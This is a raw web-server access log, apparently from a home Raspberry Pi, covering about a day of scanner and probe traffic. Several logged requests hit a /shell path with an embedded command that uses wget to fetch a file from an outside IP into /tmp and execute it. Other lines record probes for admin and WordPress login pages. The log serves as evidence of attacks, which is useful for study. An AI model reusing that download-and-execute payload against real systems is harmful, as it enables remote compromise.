Sun Jan 19 06:25:05 MST 2020 06:25:05 up 30 days, 21:16, 1 user, load average: 0.47, 0.35, 0.64 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 19Dec19 31days 40:38 5.54s /usr/bin/lxsession -s LXDE-pi -e LXDE 213.109.81.165 - - [19/Jan/2020:13:42:16 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 60.48.225.83 - - [19/Jan/2020:14:04:21 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 118.103.232.26 - - [19/Jan/2020:16:03:41 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 165.227.4.106 - - [19/Jan/2020:16:06:18 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 41.84.159.78 - - [19/Jan/2020:16:35:26 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 5.101.64.77 - - [19/Jan/2020:17:14:44 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 2.187.8.93 - - [19/Jan/2020:17:53:52 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 5.101.64.77 - - [19/Jan/2020:18:11:05 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 178.73.215.171 - - [19/Jan/2020:18:44:19 +0000] "GET / HTTP/1.0" 200 25000 "" "" 220.201.161.54 - - [19/Jan/2020:19:56:51 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 179.43.169.182 - - [19/Jan/2020:20:14:11 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0" 162.250.19.7 - - [19/Jan/2020:20:30:31 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 187.17.185.105 - - [19/Jan/2020:20:31:39 +0000] "GET / HTTP/1.1" 400 0 "" "" 5.101.64.77 - - [19/Jan/2020:20:57:25 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 177.87.218.247 - - [19/Jan/2020:21:04:59 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 5.101.64.77 - - [19/Jan/2020:21:49:23 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 152.249.20.176 - - [19/Jan/2020:22:37:10 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 195.154.211.33 - - [19/Jan/2020:22:44:45 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 90.189.179.108 - - [19/Jan/2020:22:50:27 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 90.189.179.108 - - [19/Jan/2020:22:50:35 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 51.79.101.221 - - [19/Jan/2020:22:53:23 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 51.79.101.221 - - [19/Jan/2020:22:53:23 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 187.101.34.90 - - [19/Jan/2020:23:00:50 +0000] "GET / HTTP/1.1" 400 0 "" "" 194.150.254.201 - - [20/Jan/2020:00:39:04 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 18.218.222.65 - - [20/Jan/2020:00:47:47 +0000] "GET / HTTP/1.1" 200 25000 "" "" 106.12.69.27 - - [20/Jan/2020:00:56:50 +0000] "POST /moadmin/moadmin.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0)Gecko/20100101 Firefox/36.0" 106.12.69.27 - - [20/Jan/2020:00:56:50 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 39.98.214.17 - - [20/Jan/2020:01:22:49 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 39.98.214.17 - - [20/Jan/2020:01:22:49 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)" 39.98.214.17 - - [20/Jan/2020:01:22:50 +0000] "GET /robots.txt HTTP/1.1" 200 70 "" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)" 189.69.21.94 - - [20/Jan/2020:01:40:47 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 196.200.42.68 - - [20/Jan/2020:01:49:10 +0000] "GET / HTTP/1.1" 400 0 "" "" 46.101.171.183 - - [20/Jan/2020:02:15:27 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 27.254.204.196 - - [20/Jan/2020:02:26:39 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 222.65.38.232 - - [20/Jan/2020:02:38:29 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 187.17.184.31 - - [20/Jan/2020:02:39:56 +0000] "GET / HTTP/1.1" 400 0 "" "" 18.218.222.65 - - [20/Jan/2020:02:53:04 +0000] "GET / HTTP/1.1" 200 25000 "" "" 222.186.19.221 - - [20/Jan/2020:04:22:08 +0000] "UNKNOWN HTTP/1.1" 400 0 "" "" 140.143.0.107 - - [20/Jan/2020:04:27:28 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 140.143.0.107 - - [20/Jan/2020:04:27:29 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0" 140.143.0.107 - - [20/Jan/2020:04:27:34 +0000] "GET /robots.txt HTTP/1.1" 200 70 "" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0" 18.218.222.65 - - [20/Jan/2020:04:42:06 +0000] "GET /fa/ HTTP/1.1" 404 0 "" "" 176.120.203.75 - - [20/Jan/2020:05:03:32 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 37.48.104.140 - - [20/Jan/2020:05:14:53 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 164.68.112.178 - - [20/Jan/2020:05:18:59 +0000] "GET / HTTP/1.0" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36" 94.241.128.103 - - [20/Jan/2020:05:28:43 +0000] "GET / HTTP/1.1" 400 0 "" "" 93.115.149.131 - - [20/Jan/2020:07:27:35 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 80.211.6.136 - - [20/Jan/2020:08:42:34 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 212.64.17.91 - - [20/Jan/2020:09:10:14 +0000] "GET /wp-login.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 168.227.64.235 - - [20/Jan/2020:09:38:08 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 181.129.55.75 - - [20/Jan/2020:10:38:13 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 5.188.210.101 - - [20/Jan/2020:10:46:37 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [20/Jan/2020:10:46:43 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [20/Jan/2020:10:46:49 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [20/Jan/2020:10:47:51 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [20/Jan/2020:10:47:57 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [20/Jan/2020:10:48:02 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [20/Jan/2020:10:48:33 +0000] "GET /echo.php HTTP/1.1" 404 0 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 74.63.227.26 - - [20/Jan/2020:11:38:16 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 74.63.227.26 - - [20/Jan/2020:11:38:16 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 202.146.217.192 - - [20/Jan/2020:12:22:23 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 202.146.217.192 - - [20/Jan/2020:12:22:24 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 202.146.217.192 - - [20/Jan/2020:12:22:25 +0000] "GET /robots.txt HTTP/1.1" 200 70 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 202.146.217.192 - - [20/Jan/2020:12:22:25 +0000] "POST /Admin0713faa2/Login.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" Mon Jan 20 06:25:12 MST 2020 06:25:13 up 31 days, 21:16, 1 user, load average: 0.50, 0.42, 0.85 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 19Dec19 32days 41:15 5.54s /usr/bin/lxsession -s LXDE-pi -e LXDE